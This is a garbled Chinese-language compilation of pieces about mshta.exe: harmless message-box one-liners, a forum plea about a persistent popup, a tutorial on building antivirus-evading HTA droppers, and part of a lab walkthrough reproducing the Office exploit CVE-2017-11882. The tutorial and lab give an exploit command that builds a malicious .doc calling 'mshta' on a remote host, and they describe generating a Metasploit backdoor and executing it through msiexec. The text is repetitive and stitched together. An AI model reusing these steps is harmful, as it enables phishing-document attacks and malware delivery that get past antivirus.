mshta vbscript:window.execScript("alert('hello world!');","javascript")

mshta javascript:window.execScript("msgBox('hello world!'):window.close","vbs")

mshta vbscript:msgbox("该干活了，伙计!",64,"提示")(window.close)
mshta vbscript:CreateObject("Wscript.Shell").popup("该干活了，伙计！",7,"提示",64)(window.close)

mshta vbscript:execute("msgbox ""one BOX"":msgbox ""two BOX"":window.close")

mshta vbscript:createobject("sapi.spvoice").speak("Good luck")(window.close)、

如图所示，一直弹出这个窗口，右键任务管理器里面看到：Microsoft（R）html应用程序主机，好像是之前点了个什么hta的文件用windows media player打开了，然后就一直弹出这个窗口，各种杀毒什么的都不行，windows修复助手也不行，求助各位大神啊。电脑系统为最新win8.1.在线等啊。

求助啊，一直在弹出，关键是现在不想重新装系统啊，系统里面东西很多，软件很多，重装很麻烦，希望能不能通过恢复之类的可以解决，这样就不用重装系统了。

Evi1cg同学前不久放出CVE-2017-11882的一个 python利用脚本，地址在https://github.com/Ridter/CVE-2017-11882/，不过其中一个版本里边有一个限制，执行命令只能用43个字节。如果要用43个字节来完成一个文件的下载执行，在我所掌握的命令行知识里，除了mshta命令，其它的好像都做不到。所以在这里我就浅谈一下如何构造这个mshta命令，另外提一下hta文件在安全方面的一个应用。

mshta.exe是微软Windows操作系统相关程序，用于执行.HTA文件。HTA是HTML Application的缩写（HTML应用程序），是软件开发的新概念，直接将HTML保存成HTA的格式，就是一个独立的应用软件，与VB、C++等程序语言所设计的软件界面没什么差别。mshta执行.hta文件，是以当前用户权限执行，hta文件可以随便改后缀，也可以本地或远程执行，本地执行的时候，要记得带全路径名，否则会出错。另外,mshta支持各种协议，甚至支持mk:@MSITStore协议或是ms-its协议。

一、HTA文件 内嵌的html文件如何去除本地安全认证呢？

我们知道，html文件打开的宿主如果是IE，html文件里调用的是像W.Shell此类组件的话，IE会弹一个框，限制运行脚本或Active控件。我们来验证一下，写代码1.htm如下：

如果我们用HTA文件来iframe这个1.htm，hta是本地用户权限，应当可以绕过此限制，如何绕呢？我们就要用到 iframe的一个参数了application=”yes”了。这样就不会弹阻止框了，可以干坏事了，1.hta代码如下：

Sample HTML Application one <!--这里是去掉验证的关键-->

二、如何写一个高效的下载执行过杀软的hta文件？

如果是下载执行的话，哪就很弱了。hta文件里可以自由地写vb代码，所以我们的思路是可以把你的木马转换成base64格式也好，转换成16进制也好再转回来，hta只是访问了一个网页而已，但是已经把木马转到本地了，具体代码1.hta可以如下：

然后，你可以把这个1.hta改名1.xml之类的文件放在远程空间了，直接mshta http://www.site.xom/1.xml，就可以了。如果是利用CVE-2017-11882.py，哪么直接执行下边命令就生成了，其中http://site.com/1.xml你可以换成短网址。

python27 Command_CVE-2017-11882.py -c "mshta http://site.com/1.xml" -o test.doc

下图是我做的测试图。

它支持命令行参数，可以接收JS和VBS的方法。看示例（在命令行下测试）：

JS:

代码如下:

mshta vbscript:window.execScript(“alert(‘hello world!’);”,”javascript”)

VBS:

代码如下:

mshta javascript:window.execScript(“msgBox(‘hello world!’):window.close”,”vbs”)

调用VBS，分别使用MSGBOX函数和POPUP方法：

代码如下:

mshta vbscript:msgbox(“该干活了，伙计!”,64,”提示”)(window.close)
mshta vbscript:CreateObject(“Wscript.Shell”).popup(“该干活了，伙计！”,7,”提示”,64)(window.close)

execute方法 一条语句连续弹二个信息框：

代码如下:

mshta vbscript:execute(“msgbox “”one BOX””:msgbox “”two BOX””:window.close”)

LZ他们弄的，调用系统的英文阅读：

代码如下:

mshta vbscript:createobject(“sapi.spvoice”).speak(“Good luck”)(window.close)

漏洞位于EQNEDT32.EXE组件中，该组件于2001年编译嵌入office，之后没有任何进一步的修改。攻击者可以利用漏洞以当前登录的用户身份执行任意命令。接下来，ISEC实验室的老师，将对此漏洞利用过程进行复现，小伙伴们，快上车啦!

一、CVE-2017-11882复现

实验环境：

☛攻击机器操作系统：kali 2.0

☛攻击机器ip：192.168.1.106

☛受害者操作系统：win7 x64

☛受害者ip：192.168.1.6

☛offcie版本：office_professional_plus_2013_with_sp1_x64

1、首先在kali下使用msf生成后门文件，类型为msi格式，如下图：

2、将该后门p.exe放到web目录下，同时在web目录下新建hta文件，通过调用W.Shell执行msiexec去运行远程的p.exe，即上一步生成的后门文件，注意msiexec只能执行msi文件，因此在上一步生成的文件类型一定要是msi类型的，至于后缀名无所谓，hta文件如下图：

3、到https://github.com/Ridter/CVE-2017-11882/下载漏洞利用程序，执行如下命令生成恶意doc文件，这里由于命令长度不能超过43 bytes，因此使用mshta命令去调用远程的hta文件来执行更复杂的操作，如下图：

4、在msf中使用exploit/multi/handler模块，并设置相应payload参数开启监听，如下图：